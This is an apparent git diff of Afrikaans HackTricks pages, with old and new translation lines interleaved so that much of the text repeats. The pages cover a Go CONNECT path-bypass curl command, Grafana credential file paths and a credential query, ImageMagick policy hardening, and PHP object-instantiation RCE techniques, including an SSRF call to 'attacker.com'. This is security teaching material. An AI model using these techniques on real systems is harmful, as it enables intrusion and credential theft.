In die Go-programmeertaal is dit 'n algemene praktyk om HTTP versoeke te hanteer, spesifiek met die gebruik van die `net/http` biblioteek, om die versoekpad outomaties in 'n gestandaardiseerde formaat om te skakel. Hierdie proses behels:
- Paaie wat eindig met 'n skuinstrek (`/`) soos `/flag/` word omgelei na hul nie-skuinstrek eweknie, `/flag`.
- Paaie wat gidsverspreidingsvolgordes bevat, soos `/../flag`, word vereenvoudig en omgelei na `/flag`.
- Paaie met 'n punt aan die einde, soos `/flag/.`, word ook omgelei na die skoon pad `/flag`.
- Pade wat eindig met 'n skuif (`/`) soos `/flag/` word herlei na hul nie-skuif teenhanger, `/flag`.
- Pade wat katalogus traversie-sekwensies bevat soos `/../flag` word vereenvoudig en herlei na `/flag`.
- Pade met 'n agtereenvolgende punt soos in `/flag/.` word ook herlei na die skoon pad `/flag`.
Daar is egter 'n uitsondering met die gebruik van die `CONNECT`-metode. Anders as ander HTTP-metodes, veroorsaak `CONNECT` nie die padnormaliseringsproses nie. Hierdie gedrag skep 'n potensiële geleentheid om toegang tot beskermde hulpbronne te verkry. Deur die gebruik van die `CONNECT`-metode saam met die `--path-as-is`-opsie in `curl`, kan 'n persoon die standaard padnormalisering omseil en moontlik beperkte areas bereik.
Daar is egter 'n uitsondering met die gebruik van die `CONNECT` metode. Anders as ander HTTP metodes, aktiveer `CONNECT` nie die pad normalisering proses nie. Hierdie gedrag open 'n potensiële pad om toegang te verkry tot beskermde hulpbronne. Deur die `CONNECT` metode saam met die `--path-as-is` opsie in `curl` te gebruik, kan 'n mens die standaard pad normalisering omseil en moontlik beperkte areas bereik.
Die volgende opdrag demonstreer hoe om van hierdie gedrag gebruik te maak:
Die volgende opdrag demonstreer hoe om hierdie gedrag te benut:
```bash
curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag
```
@ -31,16 +32,17 @@ curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,39 +1,41 @@
# Grafana
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Interessante dinge
## Interessante goed
* Die lêer **`/etc/grafana/grafana.ini`** kan sensitiewe inligting bevat soos die **admin** **gebruikersnaam** en **wagwoord**.
* Binne die platform kan jy **mense uitnooi** of **API-sleutels genereer** (moontlik as admin)
* Jy kan nagaan watter plugins geïnstalleer is (of selfs nuwe installeer)
* Standaard gebruik dit die **SQLite3**-databasis in **`/var/lib/grafana/grafana.db`**
* Die lêer **`/etc/grafana/grafana.ini`** kan sensitiewe inligting bevat soos **admin** **gebruikersnaam** en **wagwoord.**
* Binne die platform kan jy **mense uitnooi** of **API sleutels genereer** (mag dalk admin benodig)
* Jy kan kyk watter plugins geïnstalleer is (of selfs nuwe installeer)
* Standaard gebruik dit **SQLite3** databasis in **`/var/lib/grafana/grafana.db`**
* `select user,password,database from data_source;`
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,65 +1,67 @@
# ImageMagick Sekuriteit
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Kyk na verdere besonderhede in [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
ImageMagick, 'n veelsydige beeldverwerking-biblioteek, bied 'n uitdaging in die konfigurasie van sy sekuriteitsbeleid as gevolg van sy uitgebreide opsies en 'n gebrek aan gedetailleerde aanlyn dokumentasie. Gebruikers skep dikwels beleide gebaseer op gefragmenteerde internetbronne, wat moontlike verkeerde konfigurasies tot gevolg het. Die biblioteek ondersteun 'n wye verskeidenheid van meer as 100 beeldformate, wat elk bydra tot sy kompleksiteit en kwesbaarheidsprofiel, soos gedemonstreer deur historiese sekuriteitsvoorvalle.
ImageMagick, 'n veelsydige beeldverwerkingsbiblioteek, bied 'n uitdaging in die konfigurasie van sy sekuriteitsbeleid weens sy uitgebreide opsies en gebrek aan gedetailleerde aanlyn dokumentasie. Gebruikers skep dikwels beleide gebaseer op gefragmenteerde internetbronne, wat lei tot potensiële misconfigurasies. Die biblioteek ondersteun 'n wye verskeidenheid van meer as 100 beeldformate, wat elkeen bydra tot sy kompleksiteit en kwesbaarheidprofiel, soos aangetoon deur historiese sekuriteitsvoorvalle.
## Na Veiliger Beleide
Om hierdie uitdagings aan te spreek, is 'n [hulpmiddel ontwikkel](https://imagemagick-secevaluator.doyensec.com/) om te help met die ontwerp en ouditering van ImageMagick se sekuriteitsbeleide. Hierdie hulpmiddel is gegrond op uitgebreide navorsing en streef daarna om te verseker dat beleide nie net robuust is nie, maar ook vry van leemtes wat uitgebuit kan word.
## Richting Veiliger Beleide
Om hierdie uitdagings aan te spreek, is 'n [instrument ontwikkel](https://imagemagick-secevaluator.doyensec.com/) om te help met die ontwerp en oudit van ImageMagick se sekuriteitsbeleide. Hierdie instrument is gegrond op uitgebreide navorsing en het ten doel om te verseker dat beleide nie net robuust is nie, maar ook vry van leemtes wat misbruik kan word.
## Allowlist vs Denylist-benadering
Histories het ImageMagick-beleide staatgemaak op 'n denylist-benadering, waar spesifieke koders toegang ontken is. Tog het veranderinge in ImageMagick 6.9.7-7 hierdie paradigma verskuif deur 'n allowlist-benadering moontlik te maak. Hierdie benadering ontken aanvanklik alle koders en verleen dan selektief toegang aan vertroude koders, wat die sekuriteitsposisie versterk.
## Toegestaanlys vs Weierlys Benadering
Histories het ImageMagick beleide op 'n weierlys benadering staatgemaak, waar spesifieke koders toegang geweier is. egter, veranderinge in ImageMagick 6.9.7-7 het hierdie paradigma verskuif, wat 'n toegestaanlys benadering moontlik gemaak het. Hierdie benadering weier eers alle koders en gee dan selektief toegang aan vertroude, wat die sekuriteitsposisie verbeter.
```xml
...
<policy domain="coder" rights="none" pattern="*" />
<policy domain="coder" rights="read | write" pattern="{GIF,JPEG,PNG,WEBP}" />
...
```
## Gevalgevoeligheid in Beleide
Dit is van kritieke belang om te let op die gevalgevoeligheid van beleidspatrone in ImageMagick. Dit is noodsaaklik om te verseker dat kodeerders en modules korrek in hoofletters geskryf word in beleide om onbedoelde toestemmings te voorkom.
## Gevoeligheid vir Hoofletters in Beleide
Dit is van kardinale belang om te let dat beleidspatrone in ImageMagick gevoelig is vir hoofletters. Dit is dus noodsaaklik om te verseker dat koders en modules korrek in hoofletters in beleide geskryf is om onbedoelde toestemmings te voorkom.
## Hulpbronlimiete
ImageMagick is vatbaar vir 'n diensweieringsaanval as dit nie behoorlik gekonfigureer word nie. Dit is noodsaaklik om eksplisiete hulpbronlimiete in die beleid in te stel om sulke kwesbaarhede te voorkom.
ImageMagick is geneig tot ontkenning van diens-aanvalle as dit nie behoorlik gekonfigureer is nie. Dit is noodsaaklik om eksplisiete hulpbronlimiete in die beleid in te stel om sulke kwesbaarhede te voorkom.
## Beleidsfragmentasie
Beleide kan oor verskillende ImageMagick-installasies gefragmenteer word, wat moontlike konflikte of oorskrywings kan veroorsaak. Dit word aanbeveel om die aktiewe beleidslêers op te spoor en te verifieer deur gebruik te maak van opdragte soos:
## Beleid Fragmentasie
Beleide kan gefragmenteer wees oor verskillende ImageMagick-installasies, wat kan lei tot potensiële konflikte of oorskrywings. Dit word aanbeveel om die aktiewe beleidslêers te lokaliseer en te verifieer met opdragte soos:
```shell
$ find / -iname policy.xml
```
## 'n Aanvangsbeperkende Beleid
'n Beperkende beleidstempel is voorgestel, wat fokus op streng hulpbronbeperkings en toegangsbeheer. Hierdie tempel dien as 'n basislyn vir die ontwikkeling van op maat gemaakte beleide wat in lyn is met spesifieke aansoekvereistes.
## 'n Beginner, Beperkende Beleid
'n Beperkende beleidsjabloon is voorgestel, wat fokus op streng hulpbronbeperkings en toegangbeheer. Hierdie jabloon dien as 'n basislyn vir die ontwikkeling van op maat gemaakte beleide wat ooreenstem met spesifieke toepassingsvereistes.
Die doeltreffendheid van 'n sekuriteitsbeleid kan bevestig word deur die `identify -list policy` opdrag in ImageMagick te gebruik. Daarbenewens kan die [evaluator tool](https://imagemagick-secevaluator.doyensec.com/) wat vroeër genoem is, gebruik word om die beleid te verfyn op grond van individuele behoeftes.
Die doeltreffendheid van 'n sekuriteitsbeleid kan bevestig word met die `identify -list policy` opdrag in ImageMagick. Boonop kan die [evaluator tool](https://imagemagick-secevaluator.doyensec.com/) wat vroeër genoem is, gebruik word om die beleid te verfyn op grond van individuele behoeftes.
## Verwysings
* [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# PHP - RCE misbruik van objek skepping: nuwe $\_GET\["a"]\($\_GET\["b"])
# PHP - RCE wat objekcreasie misbruik: new $\_GET\["a"]\($\_GET\["b"])
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hack vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Hierdie is basies 'n opsomming van [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
Dit is basies 'n opsomming van [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
## Inleiding
Die skepping van nuwe willekeurige objekte, soos `new $_GET["a"]($_GET["a"])`, kan lei tot Remote Code Execution (RCE), soos in 'n [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) beskryf. Hierdie dokument beklemtoon verskeie strategieë om RCE te bereik.
Die skepping van nuwe arbitrêre objek, soos `new $_GET["a"]($_GET["a"])`, kan lei tot Remote Code Execution (RCE), soos in 'n [**skrywe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) uiteengesit. Hierdie dokument beklemtoon verskeie strategieë om RCE te bereik.
## RCE via Aangepaste Klasse of Autoloading
Die sintaksis `new $a($b)` word gebruik om 'n objek te instansieer waar **`$a`** die klasnaam verteenwoordig en **`$b`** die eerste argument is wat aan die konstrukteur oorgedra word. Hierdie veranderlikes kan afkomstig wees van gebruikersinsette soos GET/POST, waar hulle strings of rye kan wees, of van JSON, waar hulle as ander tipes kan voorkom.
Die sintaksis `new $a($b)` word gebruik om 'n objek te instantiëer waar **`$a`** die klasnaam verteenwoordig en **`$b`** die eerste argument is wat aan die konstruktors oorhandig word. Hierdie veranderlikes kan afkomstig wees van gebruikersinsette soos GET/POST, waar hulle moontlik strings of arrays is, of van JSON, waar hulle as ander tipes kan voorkom.
Beskou die onderstaande kodefragment:
Oorweeg die kode-snippet hieronder:
```php
class App {
function __construct ($cmd) {
@ -43,9 +44,9 @@ $b = $_GET['b'];
new $a($b);
```
In hierdie geval, as `$a` ingestel word op `App` of `App2` en `$b` op 'n stelselopdrag (bv. `uname -a`), sal dit lei tot die uitvoering van daardie opdrag.
In hierdie geval lei die instelling van `$a` na `App` of `App2` en `$b` na 'n stelselaanroep (bv. `uname -a`) tot die uitvoering van daardie aanroep.
**Autoloading funksies** kan uitgebuit word as daar geen sulke klasse direk toeganklik is nie. Hierdie funksies laai outomaties klasse van lêers wanneer dit nodig is en word gedefinieer met behulp van `spl_autoload_register` of `__autoload`:
**Outomatiese laai funksies** kan uitgebuit word as daar geen sulke klasse direk toeganklik is nie. Hierdie funksies laai outomaties klasse vanaf lêers wanneer nodig en word gedefinieer met behulp van `spl_autoload_register` of `__autoload`:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -57,64 +58,65 @@ include $class_name . '.php';
spl_autoload_register();
```
Die gedrag van outoloading verskil met PHP-weergawes en bied verskillende RCE-moontlikhede.
Die gedrag van outomatiese laai varieer met PHP weergawes, wat verskillende RCE moontlikhede bied.
## RCE via Ingeboude Klasse
As daar nie aangepaste klasse of outoloaders is nie, kan **ingeboude PHP-klasse** voldoende wees vir RCE. Die aantal van hierdie klasse wissel tussen 100 en 200, gebaseer op die PHP-weergawe en uitbreidings. Hulle kan gelys word deur gebruik te maak van `get_declared_classes()`.
In die afwesigheid van pasgemaakte klasse of outomatiese laaiers, kan **ingeboude PHP klasse** voldoende wees vir RCE. Die aantal van hierdie klasse wissel tussen 100 en 200, gebaseer op die PHP weergawe en uitbreidings. Hulle kan gelys word met `get_declared_classes()`.
Konstruksies van belang kan geïdentifiseer word deur die refleksie API, soos getoon in die volgende voorbeeld en die skakel [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
Konstruktors van belang kan geïdentifiseer word deur die refleksie API, soos in die volgende voorbeeld en die skakel [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**RCE via spesifieke metodes sluit in:**
### **SSRF + Phar Deserialisering**
Die `SplFileObject`-klas maak SSRF moontlik deur middel van sy konstrukteur, wat verbinding met enige URL toelaat:
Die `SplFileObject` klas stel SSRF in staat deur sy konstruktor, wat verbindings na enige URL toelaat:
```php
new SplFileObject('http://attacker.com/');
```
SSRF kan lei tot deserialisasie-aanvalle in weergawes van PHP voor 8.0 deur die gebruik van die Phar-protokol.
SSRF kan lei tot deserialisering aanvalle in weergawes van PHP voor 8.0 wat die Phar protokol gebruik.
### **Uitbuiting van PDO's**
### **Eksploitering van PDO's**
Die konstrukteur van die PDO-klas maak dit moontlik om verbinding met databasisse te maak deur middel van DSN-reekse, wat potensieel die skep van lêers of ander interaksies moontlik maak:
Die PDO klas konstrukteur laat verbindings toe tot databasisse via DSN stringe, wat moontlik lêer skep of ander interaksies moontlik maak:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Weergawes van PHP tot 5.3.22 en 5.4.12 was vatbaar vir XXE-aanvalle deur die `SoapClient` en `SimpleXMLElement` konstruksies, afhangende van die weergawe van libxml2.
Weergawes van PHP tot 5.3.22 en 5.4.12 was vatbaar vir XXE-aanvalle deur die `SoapClient` en `SimpleXMLElement` konstruktors, afhangende van die weergawe van libxml2.
## RCE via Imagick-uitbreiding
## RCE via Imagick Extension
In die analise van 'n projek se afhanklikhede is ontdek dat Imagick gebruik kan word vir beveluitvoering deur nuwe objekte te instansieer. Dit bied 'n geleentheid vir die uitbuiting van kwesbaarhede.
In die analise van 'n **projek se afhanklikhede**, is ontdek dat **Imagick** benut kan word vir **opdrag uitvoering** deur nuwe voorwerpe te instansieer. Dit bied 'n geleentheid om kwesbaarhede te benut.
### VID-parser
### VID parser
Die VID-parser-vermoë om inhoud na enige gespesifiseerde pad in die lêersisteem te skryf, is geïdentifiseer. Dit kan lei tot die plasing van 'n PHP-skulp in 'n web-toeganklike gids, wat Remote Code Execution (RCE) bereik.
Die VID parser vermoë om inhoud na enige gespesifiseerde pad in die lêerstelsel te skryf, is geïdentifiseer. Dit kan lei tot die plasing van 'n PHP-shel in 'n web-toeganklike gids, wat Remote Code Execution (RCE) bereik.
#### VID-parser + Lêeroplaai
#### VID Parser + Lêer Oplaai
Dit moet opgemerk word dat PHP opgelaaide lêers tydelik in `/tmp/phpXXXXXX` stoor. Die VID-parser in Imagick, wat die **msl**-protokol gebruik, kan wildcards in lêer-paaie hanteer, wat die oordrag van die tydelike lêer na 'n gekose plek fasiliteer. Hierdie metode bied 'n addisionele benadering om arbitrêre lêerskryf binne die lêersisteem te bereik.
Daar word opgemerk dat PHP tydelik opgelaaide lêers in `/tmp/phpXXXXXX` stoor. Die VID parser in Imagick, wat die **msl** protokol gebruik, kan wildcard in lêerpaaie hanteer, wat die oordrag van die tydelike lêer na 'n gekose ligging vergemaklik. Hierdie metode bied 'n addisionele benadering om arbitrêre lêer skryf binne die lêerstelsel te bereik.
### PHP Crash + Brute Force
'n Metode wat in die [**oorspronklike skryfstuk**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) beskryf word, behels die oplaai van lêers wat 'n bedienercrash veroorsaak voordat dit uitgewis word. Deur die naam van die tydelike lêer met brute force te raai, word dit moontlik vir Imagick om arbitrêre PHP-kode uit te voer. Hierdie tegniek was egter slegs effektief in 'n verouderde weergawe van ImageMagick.
'n Metode wat in die [**oorspronklike skrywe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) beskryf word, behels die oplaai van lêers wat 'n bedienerkragopval veroorsaak voordat dit verwyder word. Deur die naam van die tydelike lêer te brute-force, word dit moontlik vir Imagick om arbitrêre PHP-kode uit te voer. Hierdie tegniek is egter gevind om slegs effektief te wees in 'n verouderde weergawe van ImageMagick.
## Verwysings
## References
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
